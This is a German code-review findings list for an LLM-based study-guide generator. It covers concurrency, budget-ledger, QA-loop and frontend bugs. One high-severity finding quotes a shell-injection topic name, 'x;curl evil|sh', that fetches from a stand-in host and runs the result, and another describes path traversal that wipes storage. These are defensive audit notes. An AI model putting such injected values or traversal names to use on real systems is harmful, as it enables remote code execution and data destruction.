Files
creator2/REVIEW.md
2026-07-12 16:13:50 +02:00

147 lines
9.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# Review-Befunde 2026-07-12
Gründliche Prüfung durch 5 parallele Reviews (E0/E1, E2/E3, E4+QA-Loop, Infra, Frontend).
Alle Hoch-Funde am Code nachverifiziert. Zeilennummern = Stand Arbeitskopie.
## Hoch
1. **pipeline.py:104 / main.py:93 — Pfad-Traversal beim Topic-Namen.**
`topic_anlegen` prüft nur „nicht leer“. Name `..``DELETE /api/topics/..` läuft in
`shutil.rmtree(KORPUS_DIR / topic)` → löscht `storage/` komplett inkl. SQLite-DB.
Namen mit `/` schreiben Snapshots außerhalb von `storage/korpus/`.
2. **main.py:180 + Makefile:43 — Shell-Injektion über Transfer.**
`make server-push TOPIC=<name>` interpoliert den Namen unquotiert in Shell-Rezepte
(rsync/ssh-Zeilen). Topic `x;curl evil|sh` → Kommando-Ausführung.
3. **inventar.py:44 — Resume verliert Quell-Abschnitte still.**
Pause/Budget-Stopp mitten in der Extraktion: einige Reader haben schon Atome verankert.
Beim Resume greift der Idempotenz-Guard (`schon and not force`) und setzt die Quelle
auf `atome` — die restlichen Abschnitte werden nie gelesen. QA merkt es nur, wenn ein
ganzer Soll-Punkt leer bleibt.
4. **artefakte.py:49 — `nur_ohne`-Filter blockiert Flashcard-Nachgenerierung.**
Filter = „hat irgendein lebendes Artefakt“. Atom mit lebendem Beispiel, aber ohne
Flashcard wird nie nachgeneriert → Invariante „≥1 verifizierte Flashcard“ unerfüllbar,
`atom_ohne_flashcard` bleibt offen, Loop dreht 10 wirkungslose Iterationen.
5. **guide.py:295 — Mathe-Checks laufen über Marker-Zeilen.**
`_mathe_auftraege(lang, …)` bekommt den ungestrippten Text (nur `_stil_auftraege`
strippt Marker). Atom-Titel wie `a_n` oder `A*-Suche` im Marker erzeugen Aufträge,
die der Fix nie beheben darf (Marker sind unantastbar) → unfixierbarer `det_check`
in jeder QA-Runde, Note bleibt <10, Loop brennt bis Limit.
6. **qa.py:68 — Befund-Dedup verliert Details.**
`_persistieren` dedupliziert über `(art, item)` ohne `detail`. Mehrere `det_check`-
Befunde derselben Section kollabieren: alte (schon behobene) Details bleiben „offen“,
neue Details werden nie eingefügt → der Fix bekommt veraltete Aufträge, Konvergenz
scheitert.
7. **agents.py:257 — CLI-Prozess-Leak bei Cancellation.**
`_spawn` killt nur bei `TimeoutError`. Der Hedge (llm.py:71) cancelt den Verlierer-Task:
`CancelledError` trifft `communicate()`, kein Kill, und das `finally` entfernt den
Prozess aus `_prozesse` → Zombie-Prozess rechnet weiter, Tokens ohne Ledger-Zeile,
für Stop/Pause unerreichbar.
8. **guide.py:380 — gescheiterte Fixes passieren das Gate.**
Nach Fix-Fehlschlag bleiben die Aufträge in `sections.befunde`, aber niemand außer
`_stage_fix` liest diese Spalte — entgegen dem Kommentar „die Ebenen-QA muss sie
sehen“. Kritische Coverage-Lücken (z. B. „Atom-Inhalt fehlt“) können mit Note 10,0
fertig gemeldet werden.
9. **Guide.vue:54/124 — Level-Toggle-Sackgasse.**
`levels` zählt Kapitel-Level unabhängig vom Section-Inhalt; `anzeige` filtert leere
Sections weg; bei `anzeige.length === 0` verschwindet die Nav samt Toggle.
Mitten in E4 (M-Kapitel ohne Text): Toggle E→M → „Noch kein Guide generiert“,
kein Weg zurück außer Reload.
## Mittel
### Budget / Ledger / Nebenläufigkeit
- **llm.py:63** — Hedge-Zwilling: nur die Tokens des Gewinners landen in `events`/Budget.
Verlierer-Tokens (bis 32k) unsichtbar. Verletzt „jeder Call → Ledger-Zeile“.
- **llm.py:65** — Timeout des Haupt-Calls bricht die Hedge-Schleife ab und cancelt den
fast fertigen Zwilling → Call zählt als infra, obwohl der Hedge geliefert hätte.
- **llm.py:120** — Budget wird nur nach Call-Ende geprüft, nie vor Start: parallele
Wellen überschreiten das „harte“ Limit um in-flight × Call-Tokens.
- **llm.py:155 `panel`, struktur.py:77, guide.py:426/434/579, artefakte.py:144** —
bare `asyncio.gather` statt `llm.alle`: bei LaufPause/Budget laufen Geschwister-Tasks
weiter, schreiben Zustand und ziehen Tokens (genau der in llm.py dokumentierte Hazard).
- **agents.py:161** — API-Pfad prüft nach `_api_slot()` keinen Abbruch: pausierte Läufe
feuern wartende API-Calls trotzdem ab.
- **agents.py:311** — opencode-Timeout: Tokens wurden erzeugt, aber mit 0 geloggt.
### Panels / destruktive Entscheide (fail-open statt fail-closed)
- **inventar.py:474/499** — `_soll_stichentscheid`/`_luecke_schliessen`: eine einzelne
überlebende Panel-Stimme gilt als „einstimmig“ → Atom verworfen / Soll freigesprochen
auf Basis EINES Richters (chunk_urteil macht es richtig).
- **inventar.py:456** — `_anker_fixen_batch` verwirft Atome auch dann, wenn der
zuständige Batch-Call ausfiel (None ≠ negatives Urteil).
- **artefakte.py:130** — Re-Verify nach Fix: unparsbare Antwort / ausgelassene id →
Artefakt endgültig verworfen (Panel-Ausfall behält, Fix-Ausfall vernichtet).
### Korpus / Soll
- **korpus.py:270 + 406** — `_konsens` löscht bestätigte Zeilen und baut aus Kandidaten
neu: nachgesuchte Belege und der `geprueft`-Negativ-Cache gehen verloren → bezahlte
Beleg-Judges wiederholen sich.
- **korpus.py:368/388** — Judge sieht nur `text[:40k]`, Nicht-Fund wird aber für die
GANZE Quelle als `geprueft` verbucht → Belege jenseits 40k dauerhaft unauffindbar,
Punkt wird ggf. fälschlich degradiert.
- **korpus.py:161** — Soll-Extraktion hat nur Quellen-Granularität: Pause zwischen
Chunks → Resume extrahiert alles neu → doppelte Kandidaten blähen das √n-Band auf.
- **korpus.py:333/416** — uni-Topics ohne bestätigten Soll-Punkt: kein Repair-Pfad für
`soll_leer`, Pipeline setzt trotzdem `korpus_fertig` → E1 verwirft Atome kaskadenartig.
### Struktur
- **struktur.py:251** — Split schneidet `ceil`-Chunks: 43 Atome → Teile 8,8,8,8,8,3;
letzter Teil kann Band 48 verletzen, Repair reproduziert identisch → Befund ewig offen.
- **struktur.py:479** — `band`-Partnerprüfung misst gegen POST-Split-Bausteine, der
Merge lief aber PRE-Split → QA fordert eine Latte, die der Schnitt nicht erreichen kann.
### Guide / QA-Loop
- **guide.py:553** — `qa_hash` wird vor der Fachlich-falsch-Prüfung persistiert:
scheitert der Verdachts-Call, gilt die Section dauerhaft als geprüft (fail-open).
- **guide.py:544** — `offene_falsch` ist run-gescoped, `qa_hash` nicht: nach Pause/Resume
verschwinden bestätigte Fakten-Fehler aus der QA.
- **guide.py:596** — KRITISCH-Routing wirft das Befund-Detail weg: der bestätigte Claim
erreicht weder Prüfer noch Fix → Ping-Pong bis Limit.
- **guide.py:607 + auto_loop.py:24** — `bewegt = bool(betroffen)`: Guide-Ebene meldet
immer „bewegt“ → Stillstands-Erkennung unerreichbar, Loop läuft immer bis 10.
- **guide.py:265/329** — Vorwärtsverweis: Auftrag erlaubt „erklären“, Detektor prüft
nur Titel-Präsenz → instruktionskonformer Fix schließt den Befund nie.
- **guide.py:190** — Englisch-Heuristik: deutsche Homographen („an“, „will“, „not“),
Schwelle 15 % ab 12 Tokens → deutsche Sätze werden als „englische Passage“ geflaggt,
Auftrag unerfüllbar.
### Frontend
- **api.js:13** — Topic-Namen ohne `encodeURIComponent` in URL-Pfaden: `#`/`/` im Namen
→ Topic per UI unbenutzbar und unlöschbar.
- **Guide.vue:19** — `laden()` ohne Out-of-order-Schutz: langsame Antwort von Topic A
überschreibt die Anzeige von Topic B.
- **Guide.vue:77** — Level-/Ansicht-Wechsel resettet Scrollposition nicht: Viewport
landet in Platzhalter-Divs, Seite wirkt leer.
- **api.js:51** — WS-Cleanup entfernt `onclose` nicht: Zombie-Reconnect nach 2 s,
doppelte State-Loads (v. a. bei Vite-HMR).
- **Ueben.vue:19** — Doppelklick auf „Richtig“: Karte doppelt gePOSTet (Leitner-Box
springt 2 Stufen), Folgekarte fällt still aus dem Stapel.
## Niedrig (Auswahl)
- **pipeline.py:63 u. a.** — `runs.beendet='jetzt'` (Literal-String statt Timestamp).
- **ledger.py:58** — Kennzahlen zählen `status='timeout'`, llm schreibt aber `infra` → Spalte konstant 0.
- **config.py:13** — `CREATOR_DB` wird vor `_load_env()` gelesen: .env-Wert wirkungslos.
- **jsonx.py:14** — nur der ERSTE Code-Fence wird geparst; JSON nach einem Prosa-Fence geht verloren.
- **transfer.py:122** — `sections.befunde` (Fix-Aufträge mit Atom-IDs) wird beim Import nicht remapped.
- **ws.py:31** — jeder Push spawnt eigenen Send-Task: Out-of-order-Deltas, parallele `send_text`.
- **inventar.py:493** — Lücken-„Runden“ zählen Ledger-Events: Retries + Alt-Läufe zählen mit → Abbruch zu früh.
- **inventar.py:147** — Anker-Dedup: geerbte Anker im selben Pass nicht berücksichtigt → transitive Dublette überlebt.
- **inventar.py:352** — `quelle_unvollstaendig`-Repair meldet immer True → Stillstand nie erkannt.
- **guide.py:53** — `_MARKER_VOLL` bricht bei `>` im Atom-Titel.
- **guide.py:449** — `_pruefe_dich` matcht Frage per Substring: Umformulierung durch Fix → Antwort fehlt still.
- **guide.py:461** — Bausteine ohne Kapitel: NULL-Gruppen erben Level des ersten Bausteins, doppelte `null`-Keys in Vue.
- **struktur.py:77 / artefakte.py:144** — s. gather-Sammelpunkt oben.
- **markdown.js:57** — `lesestat` ignoriert `\[…\]`-Formeln → Lesezeit falsch.
- **style.css:225** — KaTeX-Overflow-Regeln fehlen für die Kompakt-Ansicht (mobil).
- **Kennzahlen.vue:8** — Topic-Wechsel ohne Lauf: alte Daten bleiben stehen.
- **App.vue:93 / Board.vue:99** — `stoppen()`/Menü-Aktionen ohne try/catch: Fehler unsichtbar.